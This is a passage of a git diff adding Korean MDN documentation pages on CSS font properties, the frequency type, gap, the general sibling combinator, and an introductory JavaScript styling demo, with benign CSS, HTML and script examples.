문서 전체의 폰트 크기를 정할때 많이 쓰이는 방법은 body 태그의 폰트 크기를 10px 과 같은 62.5% (기본값 16px의 62.5%) 나 0.625em 으로 정하는 것 입니다. 이제 다른 엘리먼트의 폰트 크기를 계산하기 쉬운 px 을 10으로 나눈 em 단위를 이용해서 설정할 수 있습니다. 이 경우 6px = 0.6em 로, 8px = 0.8em, 12px = 1.2em, 14px = 1.4em, 16px = 1.6em 로 표현합니다.

+ +
body {
+  font-size: 62.5%; /* font-size 1em = 10px 브라우저의 기본 설정 */
+}
+span {
+  font-size: 1.6em; /* 1.6em = 16px */
+}
+ +

em 은 자동적으로 폰트의 크기를 적용해주기 때문에 CSS 에서 유용한 단위입니다.

+ +

중요하게 기억할 점은, em 값은 합성 값입니다. 위의 CSS 에 아래 HTML 을 적용해보겠습니다.

+ +
<div>
+<span>Outer <span>inner</span> outer</span>
+</div>
+
+ +

그 결과는

+ +

{{EmbedLiveSample("Ems", 400, 40)}}

+ +

브라우저의 기본 font-size 가 16px 이라고 가정해보면, "outer" 는 16px 로 그려지고 , "inner" 는 25.6px로 그려집니다. 왜냐하면 span의 font-size 가 1.6 em 으로 부모의 font-size에 상대적인데,  그 부모의 font-size도 상대적으로 계산되기 때문입니다. 이러한 동작을 합성이라고 부릅니다.

+ +

rem

+ +

rem 값은 합성 문제를 회피하기 위해 고안되었습니다. rem 값은 부모 엘리먼트가 아니라 최상위 html 엘리먼트에 상대적입니다. 다르게 표현하면, rem 은 부모 크기에 의해 폰크 크기가 정해지지 않도록 하여 합성 문제를 제거합니다.

+ +

아래 CSS 는 이전 예제와 거의 동일합니다. 딱 하나 다른 점은 단위가 rem 으로 바뀌었습니다.

+ +
html {
+  font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+  font-size: 1.6rem;
+}
+
+ +

이 CSS 를 같은 HTML 에 적용하면 이렇게 보입니다

+ +
<span>Outer <span>inner</span> outer</span>
+ +

{{EmbedLiveSample("Rems", 400, 40)}}

+ +

이 예제에서 "outer inner outer" 는 모두 16px 로 보입니다 (브라우저의 기본 폰트 설정이 16px 인 경우).

+ +

예제

+ +

예제 1

+ +
/* 문단 텍스트의 크기를 매우 크게 설정 */
+p { font-size: xx-large }
+
+/* h1 (제목 1)을 주변 텍스트보다 2.5배 큼 */
+h1 { font-size: 250% }
+
+/* span 태그 안의 텍스트를 16px 로 설정 */
+span { font-size: 16px; }
+
+ +

예제 2

+ +
.small {
+	font-size: xx-small;
+}
+.larger {
+	font-size: larger;
+}
+.point {
+	font-size: 24pt;
+}
+.percent {
+	font-size: 200%;
+}
+
+ +
<h1 class="small">Small H1</h1>
+<h1 class="larger">Larger H1</h1>
+<h1 class="point">24 point H1</h1>
+<h1 class="percent">200% H1</h1>
+ +

결과

+ +

{{EmbedLiveSample('예제_2','600','200')}}

+ +

참고

+ +

{{Cssxref("font-size")}} 속성의 em 과 ex 단위는 부모 엘리먼트의 폰트 크기에 상대적입니다(자기 엘리먼트의 폰트 크기에 상대적인 다른 속성과는 다르게). 이는 em 단위와 퍼센트 단위가 {{Cssxref("font-size")}} 에서 동일하게 동작함을 의미합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}{{Spec2('CSS3 Fonts')}}No change
{{SpecName('CSS3 Transitions', '#animatable-css', 'font-size')}}{{Spec2('CSS3 Transitions')}}Defines font-size as animatable.
{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}{{Spec2('CSS2.1')}}No change
{{SpecName('CSS1', '#font-size', 'font-size')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.font-size")}}

diff --git a/files/ko/web/css/font-synthesis/index.html b/files/ko/web/css/font-synthesis/index.html new file mode 100644 index 0000000000..99810d8517 --- /dev/null +++ b/files/ko/web/css/font-synthesis/index.html @@ -0,0 +1,111 @@ +--- +title: font-synthesis +slug: Web/CSS/font-synthesis +tags: + - CSS + - CSS Fonts + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/font-synthesis +--- +
{{CSSRef}}
+ +

CSS font-synthesis 속성은 브라우저가 굵은 글꼴과 이탤릭 글꼴을 합성하는 것을 허용할지 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/font-synthesis.html")}}
+ + + +

구문

+ +

font-synthesis는 다음 방법 중 하나를 사용해 지정합니다.

+ +
    +
  • none 키워드.
  • +
  • weight 또는 style 키워드.
  • +
  • weightstyle 키워드.
  • +
+ +

+ +
+
none
+
굵은 글꼴과 이탤릭 글꼴의 합성을 금지합니다.
+
weight
+
필요한 경우 굵은 글꼴을 합성할 수 있습니다.
+
style
+
필요한 경우 이탤릭 글꼴을 합성할 수 있습니다.
+
+ +

설명

+ +

대부분의 표준 서양 글꼴은 이탤릭과 굵은 글꼴을 포함하고 있으나 상용 글꼴은 그렇지 않은 경우도 많습니다. 한국, 중국, 일본을 포함한 비 알파벳 문화권의 문자 체계는 보통 이런 변형을 포함하지 않으며 브라우저의 글꼴 합성으로 인해 가독성이 떨어질 수 있습니다. 이 두 가지 경우에 대해 font-synthesis를 사용해 기본 글꼴 합성을 끄는 것이 좋을 수도 있습니다.

+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

글꼴 합성 비활성화

+ +

HTML

+ +
<em class="syn">절 합성하세요! Synthesize!</em>
+<br/>
+<em class="no-syn">절 합성하지 마세요! Synthesize!</em>
+
+ +

CSS

+ +
em {
+  font-weight: bold;
+}
+.syn {
+  font-synthesis: style weight;
+}
+.no-syn {
+  font-synthesis: none;
+}
+
+ +

결과

+ +

{{ EmbedLiveSample('글꼴_합성_비활성화', '', '50') }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#propdef-font-synthesis', 'font-synthesis')}}{{Spec2('CSS3 Fonts')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.font-synthesis")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("font-style")}}
  • +
  • {{cssxref("font-weight")}}
  • +
diff --git a/files/ko/web/css/font-weight/index.html b/files/ko/web/css/font-weight/index.html new file mode 100644 index 0000000000..bc3ff93c1c --- /dev/null +++ b/files/ko/web/css/font-weight/index.html @@ -0,0 +1,283 @@ +--- +title: font-weight +slug: Web/CSS/font-weight +translation_of: Web/CSS/font-weight +--- +
{{CSSRef}}
+ +

요약

+ +

font-weight CSS 속성은 폰트(font)의 가중치(weight)나 굵기(boldness)를 명시한다. 몇몇 폰트들은 normal 나 bold 일 때만 가능하다. 

+ +

{{cssinfo}}

+ +

구문

+ +
font-weight: normal;
+font-weight: bold;
+
+/* Relative to the parent */
+font-weight: lighter;
+font-weight: bolder;
+
+font-weight: 100;
+font-weight: 200;
+font-weight: 300;
+font-weight: 400;
+font-weight: 500;
+font-weight: 600;
+font-weight: 700;
+font-weight: 800;
+font-weight: 900;
+
+/* Global values */
+font-weight: inherit;
+font-weight: initial;
+font-weight: unset;
+
+ +

+ +
+
normal
+
보통 폰트 가중치. 400 과 같음.
+
bold
+
굵은 폰트 가중치. 700 과 같음.
+
lighter
+
(가능한 폰트 가중치 중) 부모 요소(element) 보다 얇은 폰트 가중치.
+
bolder
+
(가능한 폰트 가중치 중) 부모 요소 보다 굵은 폰트 가중치.
+
100, 200, 300, 400, 500, 600, 700, 800, 900
+
normal 과 bold 이외를 제공하는 폰트를 위한 숫자형 폰트 가중치.
+
+ +

대비책(Fallback)

+ +

만약 정확히 주어진 가중치를 사용할 수없다면, 실제로 렌더링 되는 가중치를 결정하기 위해 다음과 같은 경험적 접근이 적용된다:

+ +
    +
  • 만약 500 초과의 가중치가 주어지면, 가능한 굵은(darker) 가중치 중 가장 가까운 것이 사용된다 (만약 없다면, 얇은(lighter) 가중치 중 가장 가까운 것).
  • +
  • 만약 400 미만의 가중치가 주어지면, 가능한 얇은 가중치 중 가장 가까운 것이 사용된다 (만약 없다면, 굵은 가중치 중 가장 가까운 것).
  • +
  • 만약 가중치가 400 이 주어지면, 500 이 사용된다. 만약 500 이 불가능하면, 500 미만의 폰트 가중치를 위한 경험적 접근이 사용된다.
  • +
  • 만약 가중치가 500 이 주어지면, 400 이 사용된다. 만약 400 이 불가능하면, 400 미만의 폰트 가중치를 위한 경험적 접근이 사용된다.
  • +
+ +

이것은 normalbold 만 지원하는 폰트일 경우, 100-500 은 normal, 600-900 은 bold 임을 의미한다.

+ +

상대적 가중치의 의미

+ +

lighter 나 bolder 가 주어진 경우, 요소의 절대적인 가중치를 계산하기 위해 다음 차트가 사용된다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상속된 값bolderlighter
100400100
200400100
300400100
400700100
500700100
600900400
700900400
800900700
900900700
+ +

일반적인 가중치 이름 매핑

+ +

100~900 의 가중치 값들은 다음의 일반적인 두께 이름으로 대응된다:

+ +
+
100
+
Thin (Hairline)
+
200
+
Extra Light (Ultra Light)
+
300
+
Light
+
400
+
Normal
+
500
+
Medium
+
600
+
Semi Bold (Demi Bold)
+
700
+
Bold
+
800
+
Extra Bold (Ultra Bold)
+
900
+
Black (Heavy)
+
+ +

보간

+ +

font-weight 값은 100 단위로 보간된다. 보간은 실수 공간에서 이루어지며 100의 배수에 가까운 값으로 어림한다. 100의 배수 중간의 값들은 양의 무한대 방향의 가까운 값으로 어림한다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<p>
+  Alice was beginning to get very tired of sitting by her sister on the
+  bank, and of having nothing to do: once or twice she had peeped into the
+  book her sister was reading, but it had no pictures or conversations in
+  it, 'and what is the use of a book,' thought Alice 'without pictures or
+  conversations?'
+</p>
+
+<div>I'm heavy<br/>
+  <span>I'm lighter</span>
+</div>
+
+ +

CSS

+ +
/* Set paragraph text to be bold. */
+p {
+  font-weight: bold;
+}
+
+/* Set div text to two steps darker than
+   normal but less than a standard bold. */
+div {
+ font-weight: 600;
+}
+
+/* Sets text enclosed within span tag
+   to be one step lighter than the parent. */
+span {
+  font-weight: lighter;
+}
+ +

결과

+ +

{{EmbedLiveSample("Examples","400","300")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#font-weight-prop', 'font-weight')}}{{Spec2('CSS3 Fonts')}}변경사항 없음
{{SpecName('CSS3 Transitions', '#animatable-css', 'font-weight')}}{{Spec2('CSS3 Transitions')}}font-weight 이 animatable 로 정의됨
{{SpecName('CSS2.1', 'fonts.html#propdef-font-weight', 'font-weight')}}{{Spec2('CSS2.1')}}변경사항 없음
{{SpecName('CSS1', '#font-weight', 'font-weight')}}{{Spec2('CSS1')}}초기 정의
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support2.0{{CompatGeckoDesktop(1.0)}}3.03.51.3
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile(1.0)}}6.06.03.1
+
diff --git a/files/ko/web/css/font/index.html b/files/ko/web/css/font/index.html new file mode 100644 index 0000000000..209669ed77 --- /dev/null +++ b/files/ko/web/css/font/index.html @@ -0,0 +1,345 @@ +--- +title: font +slug: Web/CSS/font +tags: + - CSS + - CSS Fonts + - CSS Property + - Reference +translation_of: Web/CSS/font +--- +
{{CSSRef}}
+ +

font CSS 속성은 {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, {{cssxref("font-family")}}의 단축 속성입니다. 요소의 글꼴을 시스템 폰트로 설정할 수도 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/font.html")}}
+ + + +

다른 단축 속성과 마찬가지로, 생략한 속성은 초기값으로 설정하며 이 과정에서 다른 속성으로 설정한 값을 덮어 쓸 수도 있습니다. font 속성으로 설정할 수 없는 {{cssxref("font-stretch")}}, {{ cssxref("font-size-adjust")}}, {{cssxref("font-kerning")}}의 값도 초기값으로 돌아갑니다.

+ +

구문

+ +

font 속성은 하나의 키워드를 지정해 시스템 폰트를 사용하도록 설정할 수도 있고, 여러 글꼴 관련 속성의 단축 속성으로도 사용할 수 있습니다.

+ +

font를 시스템 폰트 키워드로 사용하려면 {{anch("caption")}}, {{anch("icon")}}, {{anch("menu")}}, {{anch("message-box")}}, {{anch("small-caption")}}, {{anch("status-bar")}} 중 하나를 사용해야 합니다.

+ +

font를 단축 속성으로 사용하려면,

+ +
    +
  • 다음 속성의 값을 포함해야 합니다. +
      +
    • {{cssxref("<font-size>")}}
    • +
    • {{cssxref("<font-family>")}}
    • +
    +
  • +
  • 다음 속성의 값을 포함할 수 있습니다. +
      +
    • {{cssxref("<font-style>")}}
    • +
    • {{cssxref("<font-variant>")}}
    • +
    • {{cssxref("<font-weight>")}}
    • +
    • {{cssxref("<line-height>")}}
    • +
    +
  • +
  • font-style, font-variantfont-weight는 font-size의 앞에 와야 합니다.
  • +
  • font-variant는 CSS 2.1에서 정의한 normal과 small-caps만 사용할 수 있습니다.
  • +
  • line-height는 font-size 바로 다음에 와야 하며 "/"로 구분해야 합니다. 예: "16px/3"
  • +
  • font-family는 마지막 값이어야 합니다.
  • +
+ +

+ +
+
<'font-style'>
+
{{cssxref("font-style")}} 참고
+
<'font-variant'>
+
{{cssxref("font-variant")}} 참고
+
<'font-weight'>
+
{{cssxref("font-weight")}} 참고
+
<'font-stretch'>
+
{{cssxref("font-stretch")}} 참고
+
<'font-size'>
+
{{cssxref("font-size")}} 참고
+
<'line-height'>
+
{{cssxref("line-height")}} 참고
+
<'font-family'>
+
{{cssxref("font-family")}} 참고
+
+ +

시스템 폰트 키워드

+ +
+
caption
+
버튼, 드랍다운 메뉴 등 설명이 붙은 컨트롤에 사용하는 시스템 폰트.
+
icon
+
아이콘 이름에 사용하는 시스템 폰트.
+ +
드랍다운 메뉴, 메뉴 리스트 등 메뉴에서 사용하는 시스템 폰트.
+
message-box
+
다이얼로그 창에 사용하는 폰트.
+
small-caption
+
소형 컨트롤에 사용하는 시스템 폰트.
+
status-bar
+
창의 상태표시줄에 사용하는 시스템 폰트.
+
추가 시스템 폰트 키워드
+
각 브라우저마다 더 많은 키워드를 접두사와 함께 구현하고 있습니다. Gecko는 -moz-window, -moz-document, -moz-desktop, -moz-info, -moz-dialog, -moz-button, -moz-pull-down-menu, -moz-list-moz-field를 가지고 있습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
/* 글씨 크기 12픽셀, 줄 높이 14픽셀, 글꼴 sans-serif */
+p { font: 12px/14px sans-serif }
+
+/* 글씨 크기 부모 또는 기본값(부모가 없을 경우)의 80%, 글꼴 sans-serif */
+p { font: 80% sans-serif }
+
+/* 글씨 굵기 굵게, 스타일 기울이기, 글씨 크기 크게, 글꼴 serif */
+p { font: bold italic large serif }
+
+/* 창의 상태표시줄과 같은 글꼴 사용 */
+p { font: status-bar }
+
+ + + + + + + + + + + + + +

{{ EmbedLiveSample('예제','100%', '380px')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Fonts', '#font-prop', 'font')}}{{ Spec2('CSS3 Fonts')}}Added support for font-stretch values.
{{ SpecName('CSS2.1', 'fonts.html#font-shorthand', 'font-weight')}}{{ Spec2('CSS2.1')}}Added support for keywords.
{{ SpecName('CSS1', '#font', 'font')}}{{ Spec2('CSS1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.font")}}

diff --git a/files/ko/web/css/frequency/index.html b/files/ko/web/css/frequency/index.html new file mode 100644 index 0000000000..6b3d88b859 --- /dev/null +++ b/files/ko/web/css/frequency/index.html @@ -0,0 +1,75 @@ +--- +title: +slug: Web/CSS/frequency +tags: + - CSS + - CSS Data Type + - Reference + - Web +translation_of: Web/CSS/frequency +--- +
{{CSSRef}}
+ +

CSS <frequency> 자료형은 목소리의 높낮이 등 주파수를 나타냅니다. 현재 어떤 CSS 속성도 <frequency>를 사용하지 않습니다.

+ +

구문

+ +

<frequency> 자료형은 {{cssxref("<number>")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성핳합니다. 다른 CSS 단위와 마찬가지로 숫자와 단위 문자 사이에 공백은 존재하지 않습니다.

+ +

단위

+ +
+
Hz
+
헤르츠로 주파수를 나타냅니다. 예시: 0Hz, 1500Hz, 10000Hz.
+
kHz
+
킬로헤르츠로 주파수를 나타냅니다. 예시: 0kHz, 1.5kHz, 10kHz.
+
+ +
+

참고: 0은 단위와 상관없이 언제나 같은 값을 나타내지만, 주파수에서는 단위를 생략할 수 없습니다. 즉 0은 유효한 주파수가 아니며 0Hz0kHz를 나타내지 않습니다. 단위 문자가 대소문자를 구분하지 않기는 하지만, SI에서 명시한 대로 "H"는 대문자로 표기하는 게 좋습니다.

+
+ +

예제

+ +

유효한 주파수

+ +
12Hz     양의 정수
+4.3Hz    실수
+14KhZ    단위가 대소문자를 구분하지 않지만, SI 표준에서 벗어난 표기는 비추천
++0Hz     0, 양의 부호와 단위
+-0kHz    0, 음의 부호와 단위
+ +

유효하지 않은 주파수

+ +
12.0     단위가 없으므로 <number>지만 <frequency>가 아님
+7 Hz     수와 단위 사이에 공백은 불허
+0        <length>는 단위 없는 0을 받을 수 있지만, <frequency>는 불가능
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Values', '#frequency', '<frequency>')}}{{Spec2('CSS3 Values')}}Initial definition.
+ +
+

참고: <frequency>CSS Level 2의, 지금은 사용하지 않는 청각적 미디어 특성에서 음성의 높낮이를 설정할 때 사용했습니다. 이후 CSS3에서 다시 추가됐지만, 지금으로써는 어떤 CSS 속성에서도 사용하지 않습니다.

+
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.frequency")}}

diff --git a/files/ko/web/css/gap/index.html b/files/ko/web/css/gap/index.html new file mode 100644 index 0000000000..7aca4dc713 --- /dev/null +++ b/files/ko/web/css/gap/index.html @@ -0,0 +1,220 @@ +--- +title: gap (grid-gap) +slug: Web/CSS/gap +tags: + - CSS + - CSS Flexible Boxes + - CSS Grid + - CSS Multi-column Layout + - CSS Property + - Reference +translation_of: Web/CSS/gap +--- +
{{CSSRef}}
+ +

CSS gap 속성은 행과 열 사이의 간격(거터)을 설정합니다. {{CSSxRef("row-gap")}}과 {{CSSxRef("column-gap")}}의 단축 속성입니다.

+ + + +
{{EmbedInteractiveExample("pages/css/grid-gap.html")}}
+ +
+

원래 CSS Grid Layout은 접두사를 붙인 grid-gap 속성을 정의했었으며, 현재 gap으로 대체하는 과정 중에 있습니다. 그러나 grid-gap만 구현하고 그리드 레이아웃용 gap은 구연하지 않은 브라우저를 지원하려면 위의 대화형 예제처럼 접두사 속성을 사용해야 합니다.

+
+ +

구문

+ +
/* 단일 <length> 값 */
+gap: 20px;
+gap: 1em;
+gap: 3vmin;
+gap: 0.5cm;
+
+/* 단일 <percentage> 값 */
+gap: 16%;
+gap: 100%;
+
+/* 이중 <length> 값 */
+gap: 20px 10px;
+gap: 1em 0.5em;
+gap: 3vmin 2vmax;
+gap: 0.5cm 2mm;
+
+/* 이중 또는 혼합 <percentage> 값 */
+gap: 16% 100%;
+gap: 21px 82%;
+
+/* calc() 값 */
+gap: calc(10% + 20px);
+gap: calc(20px + 10%) calc(10% - 5px);
+
+/* 전역 값 */
+gap: inherit;
+gap: initial;
+gap: unset;
+
+ +

gap<'row-gap'> 값을 사용해 지정하며, 선택적으로 <'column-gap'>을 추가할 수 있습니다. <'column-gap'>을 생략한 경우 <'row-gap'>과 동일한 값을 사용합니다.

+ +

<'row-gap'><'column-gap'>은 각각 <length> 또는 <percentage>를 사용해 지정합니다.

+ +

+ +
+
{{CSSxRef("<length>")}}
+
그리드 선을 분할하는 간격의 너비.
+
{{CSSxRef("<percentage>")}}
+
그리드 선을 분할하는 간격의 너비. 요소 크기에 상대적입니다.
+
+ +

형식 구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

플렉스 레이아웃

+ +

HTML

+ +
<div id="flexbox">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+
+ +

CSS

+ +
#flexbox {
+  display: flex;
+  flex-wrap: wrap;
+  width: 300px;
+  gap: 20px 5px;
+}
+
+#flexbox > div {
+  border: 1px solid green;
+  background-color: lime;
+  flex: 1 1 auto;
+  width: 100px;
+  height: 50px;
+
+}
+
+ +

결과

+ +

{{EmbedLiveSample("플렉스_레이아웃", "auto", "120px")}}

+ +

그리드 레이아웃

+ +

HTML

+ +
<div id="grid">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+ +

CSS

+ + + +
#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  gap: 20px 5px;
+}
+
+#grid > div {
+  border: 1px solid green;
+  background-color: lime;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("그리드_레이아웃", "auto", "120px")}}

+ +

다열 레이아웃

+ +

HTML

+ +
<p class="content-box">
+  This is some multi-column text with a 40px column
+  gap created with the CSS <code>gap</code> property.
+  Don't you think that's fun and exciting? I sure do!
+</p>
+
+ +

CSS

+ +
.content-box {
+  column-count: 3;
+  gap: 40px;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("다열_레이아웃", "auto", "120px")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Box Alignment", "#propdef-gap", "gap")}}{{Spec2("CSS3 Box Alignment")}}Initial definition
+ +

{{CSSInfo}}

+ +

브라우저 호환성

+ + + +

플렉스 레이아웃 지원

+ +

{{Compat("css.properties.gap.flex_context")}}

+ +

그리드 레이아웃 지원

+ +

{{Compat("css.properties.gap.grid_context")}}

+ +

다열 레이아웃 지원

+ +

{{Compat("css.properties.gap.multicol_context")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/general_sibling_combinator/index.html b/files/ko/web/css/general_sibling_combinator/index.html new file mode 100644 index 0000000000..7fb79bd5f0 --- /dev/null +++ b/files/ko/web/css/general_sibling_combinator/index.html @@ -0,0 +1,80 @@ +--- +title: 일반 형제 결합자 +slug: Web/CSS/General_sibling_combinator +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/General_sibling_combinator +--- +
{{CSSRef("Selectors")}}
+ +

일반 형제 결합자(~)는 두 개의 선택자 사이에 위치하여 뒤쪽 선택자의 요소와 앞쪽 선택자 요소의 부모 요소가 같고, 뒤쪽 선택자의 요소가 뒤에 위치할 때 선택합니다. 두 요소가 서로 붙어있을 필요는 없습니다.

+ +
/* 서로 형제인 문단 중 이미지 뒤쪽인 경우에만 선택 */
+img ~ p {
+  color: red;
+}
+ +

구문

+ +
former_element ~ target_element { style properties }
+
+ +

예제

+ +

CSS

+ +
p ~ span {
+  color: red;
+}
+ +

HTML

+ +
<span>이건 빨강이 아닙니다.</span>
+<p>여기 문단이 있습니다.</p>
+<code>그리고 코드도 있습니다.</code>
+<span>이제 빨강입니다!</span>
+<code>더 많은 코드가 있습니다.</code>
+<span>이것도 빨강입니다!</span>
+
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", 120)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#general-sibling-combinators", "subsequent-sibling combinator")}}{{Spec2("CSS4 Selectors")}}Renames it the "subsequent-sibling" combinator.
{{SpecName("CSS3 Selectors", "#general-sibling-combinators", "general sibling combinator")}}{{Spec2("CSS3 Selectors")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.general_sibling")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/getting_started/javascript/index.html b/files/ko/web/css/getting_started/javascript/index.html new file mode 100644 index 0000000000..2f9fd8f53b --- /dev/null +++ b/files/ko/web/css/getting_started/javascript/index.html @@ -0,0 +1,144 @@ +--- +title: JavaScript +slug: Web/CSS/Getting_Started/JavaScript +tags: + - 'CSS:Getting_Started' +translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +--- +

이 페이지는 입문서의 II 부입니다. II 부는 모질라에서의 CSS의 범위(scope)를 보여주는 예제들을 포함하고 있습니다.

+

II 부의 각 페이지는 CSS 가 다른 기술(technologies)들과 어떻게 상호작용하는지 설명하고 있습니다. 이 페이지들은 이들 다른 기술들을 사용하는 방법들을 가르치기위해서 디자인 되지는 않았습니다. 이 들 기술들을 자세히 배우려면 다른 입문서를 보세요.

+

대신 이 페이지들은 CSS의 다양한 사용법을 설명하기 위해서 디자인되었습니다. 이들 페이지들을 사용하려면, CSS에 대해 좀 알고 있어야만 합니다, 그러나, 다른 분야 기술들에대한 어떤 지식을 필요로하지는 않습니다.

+

정보: 자바스크립트(JavaScript)

+

자바스크립트(JavaScript)는 + + 프로그래밍 언어 + 입니다. 모질라 애플리케이션( 예를 들면, 모질라 브라우저) 사용할 때, 컴퓨터가 실행시키는 코드의 많은 부분이 자바스크립트로 쓰여져 있습니다.

+

자바스크립트는 스타일 시트와 상호작용하여, 문서 스타일을 동적으로 변화시키는 프로그램을 쓸 수 있게 해줍니다.

+

이렇게 하는데 세가지 방법이 있습니다:

+
    +
  • 문서의 스타일 시트 리스트와 함께 작동함으로써 — 예: 스타일 시트를 첨가, 제거, 또는 수정함으로써
  • +
  • 스타일 시트의 규칙(rules)와 함께 작동함으로써 — 예: 규칙을 첨가, 제거, 또는 수정 함으로써
  • +
  • DOM내의 각 엘리먼트(element)와 함께 작동함으로써 — 예: 문서 스타일을 문서의 스타일 시트와는 독립적으로 수정함으로써
  • +
+ + + + + + + +
+ More details
모질라에서의 자바스트립트에 대해 더 많은 정보를 원하시면, 이 위키(wiki)에 있는 JavaScript페이지를 보세요.
+

액션: 자바스크립트 예제(demonstration)

+

새로은 HTML 문서 doc5.html를 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+
+<HEAD>
+<TITLE>Mozilla CSS Getting Started - JavaScript demonstration</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style5.css">
+<SCRIPT type="text/javascript" src="script5.js"></SCRIPT>
+</HEAD>
+
+<BODY>
+<H1>JavaScript sample</H1>
+
+<DIV id="square"></DIV>
+
+<BUTTON type="button" onclick="doDemo(this);">Click Me</BUTTON>
+
+</BODY>
+</HTML>
+
+
+

새로운 CSS 파일 style5.css을 만드세요. 아래의 내용물을 복사해서 붙여넣으세요:

+
+
/*** JavaScript demonstration ***/
+#square {
+  width: 20em;
+  height: 20em;
+  border: 2px inset gray;
+  margin-bottom: 1em;
+  }
+
+button {
+  padding: .5em 2em;
+  }
+
+
+

새로운 텍스트 파일 script5.js을 만드세요. 아래의 내용물을 복사해서 붙여넣으세요:

+
+
// JavaScript demonstration
+function doDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "#fa4"
+  button.setAttribute("disabled", "true")
+  setTimeout(clearDemo, 2000, button)
+  }
+
+function clearDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "transparent"
+  button.removeAttribute("disabled")
+  }
+
+
+

브라우저에서 문서을 열고 버튼을 누르세요.

+

이 위키페이지는 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 버튼을 누른 전과 후가 대략 다음과 같이 보입니다:

+ + + + + + + +
+ + + + + + +
+

JavaScript demonstration

+
+
+  
+
+
+
+ + + + + + +
+

JavaScript demonstration

+
+
+  
+
+
+
+

이 예제에서 주의할 점:

+
    +
  • HTML 문서는 전처럼 스타일 시트에 링크되어 있으며, 스크립트에도 링크되어 있습니다.
  • +
  • 스크립트는 DOM안의 개개의 엘리먼트(element)와 함께 작동합니다. 스크립트는 사각형(square)의 스타일을 직접 수정합니다. 스크립트는 버튼의 스타일을 속성(attribute)을 변경함으로써 간접적으로 수정합니다.
  • +
  • 자바스크립트에서 document.getElementById("square") 는 그 기능상 CSS 선별자(selector) #square 와 유사합니다.
  • +
  • 자바스크립트에서 backgroundColor는 CSS 속성 background-color에 상응합니다.
  • +
  • 브라우저는 버튼이 사용할 수 없게 되었을 때 그 모습을 바꾸어 주는 button{{ mediawiki.external('disabled=\"true\"') }}에 대한 내장된 CSS 규칙을 가지고 있습니다.
  • +
+ + + + + + + +
+ Challenge
스크립트를 변경해서 사각형(square)이 색이 변할 때 오른쪽으로 20em 점프했다가 이후 되 돌아오게 만드세요.
+

그럼 다음은?

+

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page.

+

이 예제에서 HTML 문서가 단지 버튼 엘리먼트만이 스크립트를 사용함에도 불구하고 스크립트에 링크를 가지고 있었습니다. 모질라는 CSS를 확장해서 자바스크립트 코드를 (내용물과 다른 스타일 시트들도) 선택된 엘리먼트에 링크할 수 있게 합니다. 다음 페이지에서는 다음을 실행해 봅니다: XBL bindings

